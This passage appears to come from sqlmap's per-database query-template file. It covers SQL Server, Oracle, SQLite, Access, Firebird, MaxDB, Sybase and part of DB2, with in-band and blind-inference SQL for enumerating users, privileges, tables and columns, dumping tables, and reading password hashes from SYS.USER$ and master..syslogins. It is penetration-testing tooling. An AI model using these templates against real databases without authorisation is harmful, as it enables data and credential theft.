187 <inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype = 'U'"/>
188 <blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype = 'U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype = 'U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype = 'U'"/>
189 </tables>
190 <columns>
191 <inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
192 <blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
193 </columns>
194 <dump_table>
195 <inband query="SELECT %s FROM %s.%s"/>
196 <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
197 </dump_table>
198 <search_db>
199 <inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
200 <blind query="SELECT name FROM master..sysdatabases WHERE %s" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases WHERE " condition="name"/>
201 </search_db>
202 <search_table>
203 <inband query="SELECT name FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v') AND " condition="name" condition2="name"/>
204 <blind query="SELECT name FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v') " count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" condition="name" condition2="name"/>
205 </search_table>
206 <search_column>
207 <inband query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype IN ('u','v')" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>
208 <blind query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype IN ('u','v')" count="SELECT COUNT(%s..sysobjects.name) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype IN ('u','v')" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>
209 </search_column>
210 </dbms>
211
212 <!-- Oracle -->
213 <dbms value="Oracle">
214 <cast query="CAST(%s AS VARCHAR(4000))"/>
215 <length query="LENGTH(%s)"/>
216 <isnull query="NVL(%s,' ')"/>
217 <delimiter query="||"/>
218 <limit query="ROWNUM AS LIMIT %s) WHERE LIMIT"/>
219 <limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
220 <limitgroupstart/>
221 <limitgroupstop/>
222 <limitstring/>
223 <order query="ORDER BY %s ASC"/>
224 <count query="COUNT(%s)"/>
225 <comment query="--"/>
226 <substring query="SUBSTRC((%s),%d,%d)"/>
227 <concatenate query="%s||%s"/>
228 <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
229 <hex query="RAWTOHEX(%s)"/>
230 <inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
231 <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
232 <current_user query="SELECT USER FROM DUAL"/>
233 <!--
234 NOTE: current physical DB but not usable for enumeration
235 <current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
236 -->
237 <current_db query="SELECT USER FROM DUAL"/>
238 <!--
239 NOTE: in Oracle to check if the session user is DBA you can use:
240 SELECT USERENV('ISDBA') FROM DUAL
241 -->
242 <hostname query="SELECT UTL_INADDR.GET_HOST_NAME FROM DUAL"/>
243 <table_comment query="SELECT COMMENTS FROM ALL_TAB_COMMENTS WHERE OWNER='%s' AND TABLE_NAME='%s'"/>
244 <column_comment query="SELECT COMMENTS FROM ALL_COL_COMMENTS WHERE OWNER='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
245 <is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA'"/>
246 <users>
247 <inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
248 <blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
249 </users>
250 <passwords>
251 <inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
252 <blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
253 </passwords>
254 <!--
255 NOTE: in Oracle to enumerate the privileges for the session user you can use:
256 SELECT * FROM SESSION_PRIVS
257 -->
258 <privileges>
259 <inband query="SELECT GRANTEE,PRIVILEGE FROM DBA_SYS_PRIVS" query2="SELECT USERNAME,PRIVILEGE FROM USER_SYS_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
260 <blind query="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS LIMIT FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS LIMIT FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(PRIVILEGE) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(PRIVILEGE) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/>
261 </privileges>
262 <!--
263 NOTE: in Oracle to enumerate the roles for the session user you can use:
264 SELECT * FROM SESSION_ROLES
265 -->
266 <roles>
267 <inband query="SELECT GRANTEE,GRANTED_ROLE FROM DBA_ROLE_PRIVS" query2="SELECT USERNAME,GRANTED_ROLE FROM USER_ROLE_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
268 <blind query="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS LIMIT FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(GRANTED_ROLE) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(GRANTED_ROLE) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/>
269 </roles>
270 <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
271 <dbs>
272 <inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
273 <blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
274 </dbs>
275 <tables>
276 <inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>
277 <blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
278 </tables>
279 <columns>
280 <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
281 <blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
282 </columns>
283 <dump_table>
284 <inband query="SELECT %s FROM %s"/>
285 <blind query="SELECT ENTRY_VALUE FROM (SELECT %s AS ENTRY_VALUE,ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
286 </dump_table>
287 <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
288 <search_db>
289 <inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) WHERE %s" condition="OWNER"/>
290 <blind query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) WHERE %s" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES WHERE %s" condition="OWNER"/>
291 </search_db>
292 <search_table>
293 <inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE %s" condition="TABLE_NAME" condition2="OWNER"/>
294 <blind query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES WHERE %s)" query2="SELECT TABLE_NAME FROM (SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s')" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TABLES WHERE OWNER='%s'" condition="TABLE_NAME" condition2="OWNER"/>
295 </search_table>
296 <search_column>
297 <inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TAB_COLUMNS WHERE %s" condition="COLUMN_NAME" condition2="OWNER" condition3="TABLE_NAME"/>
298 <blind query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TAB_COLUMNS WHERE %s)" query2="SELECT TABLE_NAME FROM (SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE OWNER='%s')" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TAB_COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS WHERE OWNER='%s'" condition="COLUMN_NAME" condition2="OWNER" condition3="TABLE_NAME"/>
299 </search_column>
300 </dbms>
301
302 <!-- SQLite -->
303 <dbms value="SQLite">
304 <cast query="CAST(%s AS TEXT)" dbms_version="&gt;=3.0"/>
305 <!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->
306 <length query="LENGTH(%s)"/>
307 <isnull query="COALESCE(%s,' ')"/>
308 <delimiter query="||"/>
309 <limit query="LIMIT %d,%d"/>
310 <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
311 <limitgroupstart query="1"/>
312 <limitgroupstop query="2"/>
313 <limitstring query=" LIMIT "/>
314 <order query="ORDER BY %s ASC"/>
315 <count query="COUNT(%s)"/>
316 <comment query="--" query2="/*"/>
317 <substring query="SUBSTR((%s),%d,%d)"/>
318 <concatenate query="%s||%s"/>
319 <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
320 <hex query="HEX(%s)"/>
321 <inference query="SUBSTR((%s),%d,1)>'%c'"/>
322 <banner query="SELECT SQLITE_VERSION()"/>
323 <current_user/>
324 <current_db/>
325 <hostname/>
326 <table_comment/>
327 <column_comment/>
328 <is_dba/>
329 <check_udf/>
330 <users/>
331 <passwords/>
332 <privileges/>
333 <roles/>
334 <dbs/>
335 <tables>
336 <inband query="SELECT tbl_name FROM sqlite_master WHERE type='table'"/>
337 <blind query="SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT %d,1" count="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'"/>
338 </tables>
339 <columns>
340 <inband query="SELECT MIN(sql) FROM sqlite_master WHERE tbl_name='%s'"/>
341 <blind query="SELECT sql FROM sqlite_master WHERE tbl_name='%s' LIMIT 1" condition=""/>
342 </columns>
343 <dump_table>
344 <inband query="SELECT %s FROM %s"/>
345 <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
346 </dump_table>
347 <search_db/>
348 <search_table>
349 <inband query="SELECT tbl_name FROM sqlite_master WHERE type='table' AND %s" condition="tbl_name" condition2=""/>
350 <blind query="" query2="SELECT tbl_name FROM sqlite_master WHERE type='table'" count="" count2="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'" condition="tbl_name" condition2=""/>
351 </search_table>
352 <search_column/>
353 </dbms>
354
355 <!-- Microsoft Access -->
356 <dbms value="Microsoft Access">
357 <cast query="RTRIM(CVAR(%s))"/>
358 <length query="LEN(RTRIM(CVAR(%s)))"/>
359 <isnull query="IIF(LEN(%s)=0,' ',%s)"/>
360 <delimiter query="&amp;"/>
361 <limit query="TOP %d"/>
362 <limitregexp query="\s+TOP\s+([\d]+)"/>
363 <limitgroupstart query="1"/>
364 <limitgroupstop query="1"/>
365 <limitstring query=" TOP "/>
366 <order query="ORDER BY %s ASC"/>
367 <count query="COUNT(%s)"/>
368 <comment query="%16" query2="%00"/>
369 <substring query="MID((%s),%d,%d)"/>
370 <concatenate query="%s&amp;%s"/>
371 <case query="SELECT (IIF(%s,1,0))"/>
372 <inference query="ASCW(MID((%s),%d,1))>%d"/>
373 <banner/>
374 <!--CURRENTUSER() is not available outside the MS Access query tool itself-->
375 <current_user/>
376 <current_db/>
377 <hostname/>
378 <table_comment/>
379 <column_comment/>
380 <is_dba/>
381 <dbs/>
382 <!--MSysObjects have no read permission by default-->
383 <tables>
384 <inband query="SELECT Name FROM MSysObjects WHERE Type=1"/>
385 <blind query="SELECT MIN(Name) FROM MSysObjects WHERE Type=1 AND Name>'%s'" count="SELECT COUNT(Name) FROM MSysObjects WHERE Type=1"/>
386 </tables>
387 <dump_table>
388 <inband query="SELECT %s FROM %s"/>
389 <blind query="SELECT MIN(%s) FROM %s WHERE CVAR(%s)>'%s'" query2="SELECT TOP 1 %s FROM %s WHERE CVAR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s)"/>
390 </dump_table>
391 <users/>
392 <privileges/>
393 <roles/>
394 <search_db/>
395 <search_table/>
396 <search_column/>
397 </dbms>
398
399 <!-- Firebird -->
400 <dbms value="Firebird">
401 <cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
402 <length query="CHAR_LENGTH(TRIM(%s))"/>
403 <delimiter query="||"/>
404 <limit query="ROWS %d TO %d"/>
405 <limitregexp query="\s+ROWS\s+([\d]+)(\s+\TO\s+([\d]+))?"/>
406 <limitgroupstart query="1"/>
407 <limitgroupstop query="2"/>
408 <limitstring query=" ROWS "/>
409 <isnull query="COALESCE(%s,' ')"/>
410 <order query="ORDER BY %s ASC"/>
411 <comment query="--"/>
412 <count query="COUNT(%s)"/>
413 <substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
414 <concatenate query="%s||%s"/>
415 <case query="SELECT IIF(%s,1,0)"/>
416 <inference query="ASCII_VAL(SUBSTRING((%s) FROM %d FOR 1))>%d" dbms_version="&gt;=2.1" query2="SUBSTRING((%s) FROM %d FOR 1)>'%c'"/>
417 <banner query="SELECT RDB$GET_CONTEXT('SYSTEM','ENGINE_VERSION') FROM RDB$DATABASE" dbms_version="&gt;=2.1"/>
418 <current_user query="SELECT CURRENT_USER FROM RDB$DATABASE"/>
419 <current_db query="SELECT RDB$GET_CONTEXT('SYSTEM','DB_NAME') FROM RDB$DATABASE"/>
420 <hostname/>
421 <table_comment/>
422 <column_comment/>
423 <is_dba query="CURRENT_USER='SYSDBA'"/>
424 <users>
425 <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
426 <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
427 </users>
428 <tables>
429 <inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
430 <blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
431 </tables>
432 <privileges>
433 <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
434 <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
435 </privileges>
436 <roles/>
437 <dbs/>
438 <columns>
439 <!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
440 <inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
441 <blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
442 </columns>
443 <dump_table>
444 <inband query="SELECT %s FROM %s"/>
445 <blind query="SELECT FIRST 1 SKIP %d %s FROM %s" count="SELECT COUNT(*) FROM %s"/>
446 </dump_table>
447 <search_db/>
448 <search_table>
449 <inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
450 <blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" condition="RDB$RELATION_NAME" condition2=""/>
451 </search_table>
452 <search_column/>
453 </dbms>
454
455 <!-- SAP MaxDB -->
456 <!-- http://dev.mysql.com/tech-resources/articles/maxdb-php-ready-for-web.html -->
457 <!-- http://dev.mysql.com/doc/refman/5.0/es/maxdb-reserved-words.html -->
458 <!-- http://maxdb.sap.com/doc/7_6/default.htm -->
459 <!-- http://www.sapdb.org/7.4/htmhelp/35/f8823cb7e5d42be10000000a114027/content.htm -->
460 <!-- http://www.ximido.de/research/PenTestingMaxDB.pdf -->
461 <dbms value="SAP MaxDB">
462 <length query="LENGTH(%s)"/>
463 <isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>
464 <delimiter query=","/>
465 <!-- No real cast on SAP MaxDB -->
466 <cast query="REPLACE(CHR(%s),' ','_')"/>
467 <order query="ORDER BY %s ASC"/>
468 <count query="COUNT(%s)"/>
469 <comment query="--" query2="#"/>
470 <substring query="SUBSTR((%s),%d,%d)"/>
471 <concatenate query="CONCAT(%s,%s)"/>
472 <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
473 <hex query="HEX(%s)"/>
474 <inference query="SUBSTR((%s),%d,1)>'%c'"/>
475 <banner query="SELECT ID FROM SYSINFO.VERSION"/>
476 <current_user query="SELECT USER() FROM DUAL"/>
477 <current_db query="SELECT DATABASE() FROM DUAL"/>
478 <hostname/>
479 <table_comment/>
480 <column_comment/>
481 <is_dba/>
482 <users>
483 <inband query="SELECT username FROM domain.users"/>
484 <blind query="SELECT MIN(username) FROM domain.users WHERE username>'%s'" count="SELECT CHR(COUNT(*)) FROM domain.users"/>
485 </users>
486 <columns>
487 <inband query="SELECT columnname,datatype,len FROM domain.columns WHERE tablename='%s' AND schemaname=%s"/>
488 <blind/>
489 </columns>
490 <tables>
491 <inband query="SELECT tablename FROM domain.tables WHERE schemaname=%s AND type='TABLE'"/>
492 <blind/>
493 </tables>
494 <dbs>
495 <inband query="SELECT DISTINCT(schemaname) FROM domain.tables"/>
496 <blind/>
497 </dbs>
498 <roles>
499 <inband query="SELECT owner,role FROM domain.roles" condition="owner"/>
500 <blind/>
501 </roles>
502 <dump_table>
503 <inband query="SELECT %s FROM %%s"/>
504 <blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS value_table"/>
505 </dump_table>
506 </dbms>
507
508 <!-- Sybase -->
509 <dbms value="Sybase">
510 <cast query="CONVERT(NVARCHAR(4000),%s)"/>
511 <length query="LTRIM(STR(LEN(%s)))"/>
512 <isnull query="ISNULL(%s,' ')"/>
513 <delimiter query="+"/>
514 <limit query="SELECT TOP %d "/>
515 <limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>
516 <limitgroupstart query="2"/>
517 <limitgroupstop query="1"/>
518 <limitstring/>
519 <order query="ORDER BY %s ASC"/>
520 <count query="COUNT(%s)"/>
521 <comment query="--" query2="/*"/>
522 <substring query="SUBSTRING((%s),%d,%d)"/>
523 <concatenate query="%s+%s"/>
524 <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
525 <hex query="BINTOSTR(CONVERT(VARBINARY,%s))"/>
526 <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
527 <banner query="SELECT @@VERSION"/>
528 <current_user query="SELECT SUSER_NAME()"/>
529 <current_db query="SELECT DB_NAME()"/>
530 <hostname/>
531 <table_comment/>
532 <column_comment/>
533 <is_dba query="PATINDEX('%sa_role%',SHOW_ROLE())>0" query2="EXISTS(SELECT * FROM master..syslogins,master..sysloginroles WHERE srid=0 and name='%s')"/>
534 <users>
535 <inband query="SELECT name FROM master..syslogins"/>
536 <blind/>
537 </users>
538 <passwords>
539 <inband query="SELECT name,password FROM master..syslogins" condition="name"/>
540 <blind/>
541 </passwords>
542 <privileges/>
543 <roles>
544 <inband query="SELECT name,srid FROM master..syslogins,master..sysloginroles" condition="name"/>
545 <blind/>
546 </roles>
547 <dbs>
548 <inband query="SELECT name FROM master..sysdatabases"/>
549 <blind/>
550 </dbs>
551 <tables>
552 <inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>
553 <blind/>
554 </tables>
555 <columns>
556 <inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/>
557 <blind/>
558 </columns>
559 <dump_table>
560 <inband query="SELECT %s FROM %s.%s"/>
561 <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS value_table"/>
562 </dump_table>
563 <search_db>
564 <inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
565 <blind/>
566 </search_db>
567 <search_table>
568 <inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U') AND " condition="name" condition2="name"/>
569 <blind/>
570 </search_table>
571 <search_column>
572 <inband query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>
573 <blind/>
574 </search_column>
575 </dbms>
576
577 <!-- IBM DB2 -->
578 <dbms value="IBM DB2">
579 <!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
580 <cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
581 <length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
582 <isnull query="COALESCE(%s,' ')"/>
583 <delimiter query="||"/>
584 <limit query="ROW_NUMBER() OVER () AS LIMIT %s) AS foobar WHERE LIMIT"/>
585 <limitregexp query="ROW_NUMBER\(\)\s+OVER\s+\(\)\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+"/>
586 <limitgroupstart/>
587 <limitgroupstop/>
588 <limitstring/>
589 <order query="ORDER BY %s ASC"/>
590 <count query="COUNT(%s)"/>
591 <comment query="--"/>
592 <!-- TODO -->
593 <substring query="SUBSTR((%s),%d,%d)"/>
594 <concatenate query="%s||%s"/>
595 <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
596 <hex query="HEX(%s)"/>
597 <inference query="SUBSTR((%s),%d,1)>'%c'"/>
598 <!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
